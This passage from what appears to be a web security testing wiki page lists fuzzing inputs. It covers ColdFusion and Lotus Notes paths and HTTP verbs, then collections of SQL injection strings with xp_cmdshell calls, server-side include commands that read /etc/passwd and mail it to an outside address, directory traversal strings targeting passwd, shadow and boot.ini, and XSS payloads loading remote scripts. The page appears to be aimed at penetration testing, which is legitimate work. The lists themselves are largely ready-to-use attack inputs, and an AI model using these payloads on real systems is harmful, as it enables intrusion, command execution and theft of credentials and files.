CFIDE/adminapi/_datasource/geturldefaults.cfm<br /> CFIDE/adminapi/_datasource/setdsn.cfm<br /> CFIDE/adminapi/_datasource/setmsaccessregistry.cfm<br /> CFIDE/adminapi/_datasource/setsldatasource.cfm<br /> CFIDE/classes/<br /> CFIDE/classes/cf-j2re-win.cab<br /> CFIDE/classes/cfapplets.jar<br /> CFIDE/classes/images<br /> CFIDE/componentutils/<br /> CFIDE/componentutils/Application.cfm<br /> CFIDE/componentutils/cfcexplorer.cfc<br /> CFIDE/componentutils/cfcexplorer_utils.cfm<br /> CFIDE/componentutils/componentdetail.cfm<br /> CFIDE/componentutils/componentdoc.cfm<br /> CFIDE/componentutils/componentlist.cfm<br /> CFIDE/componentutils/gatewaymenu<br /> CFIDE/componentutils/gatewaymenu/<br /> CFIDE/componentutils/gatewaymenu/menu.cfc<br /> CFIDE/componentutils/gatewaymenu/menunode.cfc<br /> CFIDE/componentutils/login.cfm<br /> CFIDE/componentutils/packagelist.cfm<br /> CFIDE/componentutils/utils.cfc<br /> CFIDE/componentutils/_component_cfcToHTML.cfm<br /> CFIDE/componentutils/_component_cfcToMCDL.cfm?<br /> CFIDE/componentutils/_component_style.cfm<br /> CFIDE/componentutils/_component_utils.cfm<br /> CFIDE/debug/<br /> CFIDE/debug/images/<br /> CFIDE/debug/includes/<br /> CFIDE/images/<br /> CFIDE/images/skins/<br /> CFIDE/install.cfm<br /> CFIDE/installers/<br /> CFIDE/installers/CFMX7DreamWeaverExtensions.mxp<br /> CFIDE/installers/CFReportBuilderInstaller.exe<br /> CFIDE/probe.cfm<br /> CFIDE/scripts/<br /> CFIDE/scripts/css/<br /> CFIDE/scripts/xsl/<br /> CFIDE/wizards/<br /> CFIDE/wizards/common/<br /> CFIDE/wizards/common/utils.cfc&lt;/pre&gt;<br /> <br /> <br /> === All HTTP Verbs Defined in RFC's + 1 ARBITRARY Verb - (Update: 16 March 2009 - Total Statements: 31) ===<br /> &lt;pre&gt;OPTIONS<br /> GET<br /> HEAD<br /> POST<br /> PUT<br /> DELETE<br /> TRACE<br /> CONNECT<br /> PROPFIND<br /> PROPPATCH<br /> MKCOL<br /> COPY<br /> MOVE<br /> LOCK<br /> UNLOCK<br /> VERSION-CONTROL<br /> REPORT<br /> CHECKOUT<br /> CHECKIN<br /> UNCHECKOUT<br /> MKWORKSPACE<br /> UPDATE<br /> LABEL<br /> MERGE<br /> BASELINE-CONTROL<br /> MKACTIVITY<br /> ORDERPATCH<br /> ACL<br /> PATCH<br /> SEARCH<br /> ARBITRARY<br /> &lt;/pre&gt;<br /> <br /> === Lotus/Notes Files -(Update: 02 February 2010 - Total Statements: 111) ===<br /> &lt;pre&gt;/852566C90012664F<br /> /admin4.nsf<br /> /admin5.nsf<br /> /admin.nsf<br /> /agentrunner.nsf<br /> /alog.nsf<br /> /a_domlog.nsf<br /> /bookmark.nsf<br /> /busytime.nsf<br /> /catalog.nsf<br /> /certa.nsf<br /> /certlog.nsf<br /> /certsrv.nsf<br /> /chatlog.nsf<br /> /clbusy.nsf<br /> /cldbdir.nsf<br /> /clusta4.nsf<br /> /collect4.nsf<br /> /da.nsf<br /> /dba4.nsf<br /> /dclf.nsf<br /> /DEASAppDesign.nsf<br /> /DEASLog01.nsf<br /> /DEASLog02.nsf<br /> /DEASLog03.nsf<br /> /DEASLog04.nsf<br /> /DEASLog05.nsf<br /> /DEASLog.nsf<br /> /decsadm.nsf<br /> /decslog.nsf<br /> /DEESAdmin.nsf<br /> /dirassist.nsf<br /> /doladmin.nsf<br /> /domadmin.nsf<br /> /domcfg.nsf<br /> /domguide.nsf<br /> /domlog.nsf<br /> /dspug.nsf<br /> /events4.nsf<br /> /events5.nsf<br /> /events.nsf<br /> /event.nsf<br /> /homepage.nsf<br /> /iNotes/Forms5.nsf/$DefaultNav<br /> /jotter.nsf<br /> /leiadm.nsf<br /> /leilog.nsf<br /> /leivlt.nsf<br /> /log4a.nsf<br /> /log.nsf<br /> /l_domlog.nsf<br /> /mab.nsf<br /> /mail10.box<br /> /mail1.box<br /> /mail2.box<br /> /mail3.box<br /> /mail4.box<br /> /mail5.box<br /> /mail6.box<br /> /mail7.box<br /> /mail8.box<br /> /mail9.box<br /> /mail.box<br /> /msdwda.nsf<br /> /mtatbls.nsf<br /> /mtstore.nsf<br /> /names.nsf<br /> /nntppost.nsf<br /> /nntp/nd000001.nsf<br /> /nntp/nd000002.nsf<br /> /nntp/nd000003.nsf<br /> /ntsync45.nsf<br /> /perweb.nsf<br /> /qpadmin.nsf<br /> /quickplace/quickplace/main.nsf<br /> /reports.nsf<br /> /sample/siregw46.nsf<br /> /schema50.nsf<br /> /setupweb.nsf<br /> /setup.nsf<br /> /smbcfg.nsf<br /> /smconf.nsf<br /> /smency.nsf<br /> /smhelp.nsf<br /> /smmsg.nsf<br /> /smquar.nsf<br /> /smsolar.nsf<br /> /smtime.nsf<br /> /smtpibwq.nsf<br /> /smtpobwq.nsf<br /> /smtp.box<br /> /smtp.nsf<br /> /smvlog.nsf<br /> /srvnam.htm<br /> /statmail.nsf<br /> /statrep.nsf<br /> /stauths.nsf<br /> /stautht.nsf<br /> /stconfig.nsf<br /> /stconf.nsf<br /> /stdnaset.nsf<br /> /stdomino.nsf<br /> /stlog.nsf<br /> /streg.nsf<br /> /stsrc.nsf<br /> /userreg.nsf<br /> /vpuserinfo.nsf<br /> /webadmin.nsf<br /> /web.nsf<br /> /.nsf/../winnt/win.ini<br /> /?Open <br /> &lt;/pre&gt;<br /> <br /> === SQL Injection -(Update: 11 August 2009 - Total Statements: 126) ===<br /> &lt;pre&gt;Statement<br /> 'sqlvuln<br /> '+sqlvuln<br /> sqlvuln;<br /> (sqlvuln)<br /> a' or 1=1--<br /> &quot;a&quot;&quot; or 1=1--&quot;<br /> or a = a<br /> a' or 'a' = 'a<br /> 1 or 1=1<br /> a' waitfor delay '0:0:10'--<br /> 1 waitfor delay '0:0:10'--<br /> declare @q nvarchar (4000) select @q =<br /> 0x770061006900740066006F0072002000640065006C00610079002000270030003A0030003A<br /> 0<br /> 031003000270000<br /> declare @s varchar(22) select @s =<br /> 0x77616974666F722064656C61792027303A303A31302700 exec(@s)<br /> 0x730065006c00650063007400200040004000760065007200730069006f006e00 exec(@q)<br /> declare @s varchar (8000) select @s = 0x73656c65637420404076657273696f6e<br /> exec(@s)<br /> a'<br /> ?<br /> ' or 1=1<br /> ‘ or 1=1 --<br /> x' AND userid IS NULL; --<br /> x' AND email IS NULL; --<br /> anything' OR 'x'='x<br /> x' AND 1=(SELECT COUNT(*) FROM tabname); --<br /> x' AND members.email IS NULL; --<br /> x' OR full_name LIKE '%Bob%<br /> 23 OR 1=1<br /> '; exec master..xp_cmdshell 'ping 172.10.1.255'--<br /> '<br /> '%20or%20''='<br /> '%20or%20'x'='x<br /> %20or%20x=x<br /> ')%20or%20('x'='x<br /> 0 or 1=1<br /> ' or 0=0 --<br /> &quot; or 0=0 --<br /> or 0=0 --<br /> ' or 0=0 #<br /> or 0=0 #&quot;<br /> or 0=0 #<br /> ' or 1=1--<br /> &quot; or 1=1--<br /> ' or '1'='1'--<br /> ' or 1 --'<br /> or 1=1--<br /> or%201=1<br /> or%201=1 --<br /> ' or 1=1 or ''='<br /> or 1=1 or &quot;&quot;=<br /> ' or a=a--<br /> or a=a<br /> ') or ('a'='a<br /> ) or (a=a<br /> hi or a=a<br /> hi or 1=1 --&quot;<br /> hi' or 1=1 --<br /> hi' or 'a'='a<br /> hi') or ('a'='a<br /> &quot;hi&quot;&quot;) or (&quot;&quot;a&quot;&quot;=&quot;&quot;a&quot;<br /> 'hi' or 'x'='x';<br /> @variable<br /> ,@variable<br /> PRINT<br /> PRINT @@variable<br /> select<br /> insert<br /> as<br /> or<br /> procedure<br /> limit<br /> order by<br /> asc<br /> desc<br /> delete<br /> update<br /> distinct<br /> having<br /> truncate<br /> replace<br /> like<br /> handler<br /> bfilename<br /> ' or username like '%<br /> ' or uname like '%<br /> ' or userid like '%<br /> ' or uid like '%<br /> ' or user like '%<br /> exec xp<br /> exec sp<br /> '; exec master..xp_cmdshell<br /> '; exec xp_regread<br /> t'exec master..xp_cmdshell 'nslookup www.google.com'--<br /> --sp_password<br /> \x27UNION SELECT<br /> ' UNION SELECT<br /> ' UNION ALL SELECT<br /> ' or (EXISTS)<br /> ' (select top 1<br /> '||UTL_HTTP.REQUEST<br /> 1;SELECT%20*<br /> to_timestamp_tz<br /> tz_offset<br /> &amp;lt;&amp;gt;&quot;'%;)(&amp;amp;+<br /> '%20or%201=1<br /> %27%20or%201=1<br /> %20$(sleep%2050)<br /> %20'sleep%2050'<br /> char%4039%41%2b%40SELECT<br /> &amp;amp;apos;%20OR<br /> 'sqlattempt1<br /> (sqlattempt2)<br /> |<br /> %7C<br /> *|<br /> %2A%7C<br /> *(|(mail=*))<br /> %2A%28%7C%28mail%3D%2A%29%29<br /> *(|(objectclass=*))<br /> %2A%28%7C%28objectclass%3D%2A%29%29<br /> (<br /> %28<br /> )<br /> %29<br /> &amp;amp;<br /> %26<br /> !<br /> %21<br /> ' or 1=1 or ''='<br /> ' or ''='<br /> x' or 1=1 or 'x'='y<br /> /<br /> //<br /> //*<br /> */*<br /> a' or 3=3--<br /> &quot;a&quot;&quot; or 3=3--&quot;<br /> ' or 3=3<br /> ‘ or 3=3 --<br /> &lt;/pre&gt; <br /> === SSI (Server Side Includes) - (Update: xx/xx/xx - Total Statements: 4) ===<br /> &lt;pre&gt;&amp;lt;!--#exec cmd=&quot;/bin/ls /&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;cat /etc/passwd&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;find / -name *.* -print&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;mail Foobar@email.de &amp;lt;mailto:Foobar@email.de&amp;gt; &amp;lt; cat /etc/passwd&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &lt;/pre&gt; <br /> === Directory Traversal - (Update: 11 August 2009 - Total Statements: 132) ===<br /> &lt;pre&gt;Statement<br /> \..\WINDOWS\win.ini<br /> \..\..\WINDOWS\win.ini<br /> \..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\..\..\WINDOWS\win.ini<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> ..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> ../../../../../../../../../etc/passwd<br /> ../../../../../../../../etc/passwd<br /> ../../../../../../../etc/passwd<br /> ../../../../../../etc/passwd<br /> ../../../../../etc/passwd<br /> ../../../../etc/passwd<br /> ../../../etc/passwd<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> ../../../.htaccess<br /> ../../.htaccess<br /> ../.htaccess<br /> .htaccess<br /> ././.htaccess<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%2e%2f%2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%68%74%61%63%63%65%73%73<br /> %2e%2f%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%66%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> ../../../../../../../../../../../../etc/hosts%00<br /> ../../../../../../../../../../../../etc/hosts<br /> ../../boot.ini<br /> /../../../../../../../../%2A<br /> ../../../../../../../../../../../../etc/passwd%00<br /> ../../../../../../../../../../../../etc/passwd<br /> ../../../../../../../../../../../../etc/shadow%00<br /> ../../../../../../../../../../../../etc/shadow<br /> /../../../../../../../../../../etc/passwd^^<br /> /../../../../../../../../../../etc/shadow^^<br /> /../../../../../../../../../../etc/passwd<br /> /../../../../../../../../../../etc/shadow<br /> /./././././././././././etc/passwd<br /> /./././././././././././etc/shadow<br /> \..\..\..\..\..\..\..\..\..\..\etc\passwd<br /> \..\..\..\..\..\..\..\..\..\..\etc\shadow<br /> ..\..\..\..\..\..\..\..\..\..\etc\passwd<br /> ..\..\..\..\..\..\..\..\..\..\etc\shadow<br /> /..\../..\../..\../..\../..\../..\../etc/passwd<br /> /..\../..\../..\../..\../..\../..\../etc/shadow<br /> .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd<br /> .\\./.\\./.\\./.\\./.\\./.\\./etc/shadow<br /> \..\..\..\..\..\..\..\..\..\..\etc\passwd%00<br /> \..\..\..\..\..\..\..\..\..\..\etc\shadow%00<br /> ..\..\..\..\..\..\..\..\..\..\etc\passwd%00<br /> ..\..\..\..\..\..\..\..\..\..\etc\shadow%00<br /> %0a/bin/cat%20/etc/passwd<br /> %0a/bin/cat%20/etc/shadow<br /> %00/etc/passwd%00<br /> %00/etc/shadow%00<br /> %00../../../../../../etc/passwd<br /> %00../../../../../../etc/shadow<br /> /../../../../../../../../../../../etc/passwd%00.jpg<br /> /../../../../../../../../../../../etc/passwd%00.html<br /> /..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/passwd<br /> /..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/shadow<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/shadow<br /> %25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00<br /> /%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00<br /> %25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%<br /> /%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..winnt/desktop.ini<br /> \\&amp;amp;apos;/bin/cat%20/etc/passwd\\&amp;amp;apos;<br /> \\&amp;amp;apos;/bin/cat%20/etc/shadow\\&amp;amp;apos;<br /> ../../../../../../../../conf/server.xml<br /> /../../../../../../../../bin/id|<br /> C:/inetpub/wwwroot/global.asa<br /> C:\inetpub\wwwroot\global.asa<br /> C:/boot.ini<br /> C:\boot.ini<br /> ../../../../../../../../../../../../localstart.asp%00<br /> ../../../../../../../../../../../../localstart.asp<br /> ../../../../../../../../../../../../boot.ini%00<br /> ../../../../../../../../../../../../boot.ini<br /> /./././././././././././boot.ini<br /> /../../../../../../../../../../../boot.ini%00<br /> /../../../../../../../../../../../boot.ini<br /> /..\../..\../..\../..\../..\../..\../boot.ini<br /> /.\\./.\\./.\\./.\\./.\\./.\\./boot.ini<br /> \..\..\..\..\..\..\..\..\..\..\boot.ini<br /> ..\..\..\..\..\..\..\..\..\..\boot.ini%00<br /> ..\..\..\..\..\..\..\..\..\..\boot.ini<br /> /../../../../../../../../../../../boot.ini%00.html<br /> /../../../../../../../../../../../boot.ini%00.jpg<br /> /.../.../.../.../.../<br /> ..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../boot.ini<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/boot.ini<br /> &lt;/pre&gt; <br /> ''Sorry for breaking the layout - but &quot;breaking the layout&quot; could become &quot;breaking the software&quot;.'' <br /> <br /> === XSS Statements - Most effective/most common statements ===<br /> <br /> Testing Statements <br /> &lt;pre&gt;';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//&quot;;alert(String.fromCharCode(88,83,83))//\&quot;;alert(String.fromCharCode(88,83,83))//--&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;&amp;gt;'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt; <br /> '';!--&quot;&amp;lt;XSS&amp;gt;=&amp;amp;{()}<br /> &lt;/pre&gt; <br /> Common exploit code (covers a lot of XSS vulnerabilities) <br /> &lt;pre&gt;'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt='<br /> &quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt=&quot;<br /> \'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt=\'<br /> '); alert('xss'); var x='<br /> \\'); alert(\'xss\');var x=\'<br /> //--&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83));<br /> &lt;/pre&gt; <br /> === XSS Statements (Full List) - (Update: 11 August 2009 - Total Statements: 162) <br /> &lt;pre&gt;Statements<br /> &amp;lt;SCRIPT SRC=http://ha.ckers.org/xss.js&amp;gt;&amp;lt;/SCRIPT&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG SRC=JaVaScRiPt:alert('XSS')&amp;gt;<br /> &quot;&amp;lt;IMG SRC=javascript:alert(&quot;&quot;XSS&quot;&quot;)&amp;gt;&quot;<br /> &quot;&amp;lt;IMG SRC=`javascript:alert(&quot;&quot;RSnake says, 'XSS'&quot;&quot;)`&amp;gt;&quot;<br /> &quot;&amp;lt;IMG &quot;&quot;&quot;&quot;&quot;&quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG SRC=javascript:alert(String.fromCharCode(88,83,83))&amp;gt;<br /> &amp;lt;IMG SRC=&amp;amp;#0000106&amp;amp;#0000097&amp;amp;#0000118&amp;amp;#0000097&amp;amp;#0000115&amp;amp;#0000099&amp;amp;#0000114&amp;amp;#0000105&amp;amp;#0000112&amp;amp;#0000116&amp;amp;#0000058&amp;amp;#0000097&amp;amp;#0000108&amp;amp;#0000101&amp;amp;#0000114&amp;amp;#0000116&amp;amp;#0000040&amp;amp;#0000039&amp;amp;#0000088&amp;amp;#0000083&amp;amp;#0000083&amp;amp;#0000039&amp;amp;#0000041&amp;gt;<br /> &amp;lt;IMG SRC=&amp;amp;#x6A&amp;amp;#x61&amp;amp;#x76&amp;amp;#x61&amp;amp;#x73&amp;amp;#x63&amp;amp;#x72&amp;amp;#x69&amp;amp;#x70&amp;amp;#x74&amp;amp;#x3A&amp;amp;#x61&amp;amp;#x6C&amp;amp;#x65&amp;amp;#x72&amp;amp;#x74&amp;amp;#x28&amp;amp;#x27&amp;amp;#x58&amp;amp;#x53&amp;amp;#x53&amp;amp;#x27&amp;amp;#x29&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;jav&quot;<br /> &quot;ascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;perl -e 'print &quot;&quot;&amp;lt;IMG SRC=java\0script:alert(\&quot;&quot;XSS\&quot;&quot;)&amp;gt;&quot;&quot;;' &amp;gt; out&quot;<br /> &quot;perl -e 'print &quot;&quot;&amp;lt;SCR\0IPT&amp;gt;alert(\&quot;&quot;XSS\&quot;&quot;)&amp;lt;/SCR\0IPT&amp;gt;&quot;&quot;;' &amp;gt; out&quot;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot; &amp;amp;#14; javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT/XSS SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;BODY onload!#$%&amp;amp;()*~+-_.,:;?@[/|\]^`=alert(&quot;&quot;XSS&quot;&quot;)&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT/SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;);//&amp;lt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &amp;lt;SCRIPT SRC=http://ha.ckers.org/xss.js?&amp;lt;B&amp;gt;<br /> &amp;lt;SCRIPT SRC=//ha.ckers.org/.j&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&quot;<br /> &amp;lt;iframe src=http://ha.ckers.org/scriptlet.html &amp;lt;<br /> &amp;lt;SCRIPT&amp;gt;a=/XSS/\nalert(a.source)&amp;lt;/SCRIPT&amp;gt;<br /> &quot;\&quot;&quot;;alert('XSS');//&quot;<br /> &quot;&amp;lt;/TITLE&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;);&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;INPUT TYPE=&quot;&quot;IMAGE&quot;&quot; SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BODY BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;BODY ONLOAD=alert('XSS')&amp;gt;<br /> &quot;&amp;lt;IMG DYNSRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG LOWSRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BGSOUND SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BR SIZE=&quot;&quot;&amp;amp;{alert('XSS')}&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;LAYER SRC=&quot;&quot;http://ha.ckers.org/scriptlet.html&quot;&quot;&amp;gt;&amp;lt;/LAYER&amp;gt;&quot;<br /> &quot;&amp;lt;LINK REL=&quot;&quot;stylesheet&quot;&quot; 